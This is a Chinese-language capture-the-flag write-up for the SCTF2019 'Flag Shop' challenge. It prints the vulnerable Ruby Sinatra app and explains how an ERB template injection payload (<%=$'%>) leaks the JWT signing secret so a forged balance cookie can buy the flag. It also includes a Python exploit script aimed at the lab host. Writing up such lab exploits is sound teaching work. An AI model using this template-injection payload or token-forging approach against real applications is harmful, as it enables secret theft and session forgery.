[SCTF2019]Flag Shop

第一次遇见Ruby我去，以为是思路题~~~

首先页面是一个shop类的题

buy flag是购买flag,但是要求你的钱要到1e+27才行，work可以加钱，reset重置。审查页面元素没什么思路，发现robots.txt。

提示了/filebak

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

Ruby ERB模板注入可以稍微学习下。

本来没什么思路的看大佬blog,Cookie是JWT的，之前做项目本来要用的，后来偷懒没用。。

发现：

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

这一段存在注入，如果传入的do参数和name参数一致，会输出{params[:name][0,7]} working successfully!，ruby里有预定义变量

$'-最后一次成功匹配右边的字符串。

构造do=<%=$'%> is working和name=<%=$'%>,记得把里面内容转成十六进制

拿到secret

将jkl改成1e+27,反正凑成能买flag的钱就行。然后换上去购买。

我自己脚本写错了，我学长帮我写了个

import requests

i=0
hea="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJkYTQxMTQwNy1mOTU4LTRmOTktOWU0Mi1iZTVlZmRhNTc2ZjIiLCJqa2wiOjIwfQ.YPg24ZW9BpT18ozBDCFjNDg0rirbCRT6USl3zzguZA8"
while(i<=1000000000000000000000000001):
    url = "http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working&SECRET="
    sess = requests.session()
    sess.headers['Cookie']=hea
    res = sess.get(url)
    hea=res.headers['set-cookie']
    print(res.text)
    sess.headers['Cookie'] = hea
    url1="http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/api/info"
    re=sess.get(url1)
    a1=re.text.split(':')[2][:-1]
    i=int(a1)
    print(a1)
    print(hea)

感谢下晓黑老哥

参考
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XD_whYe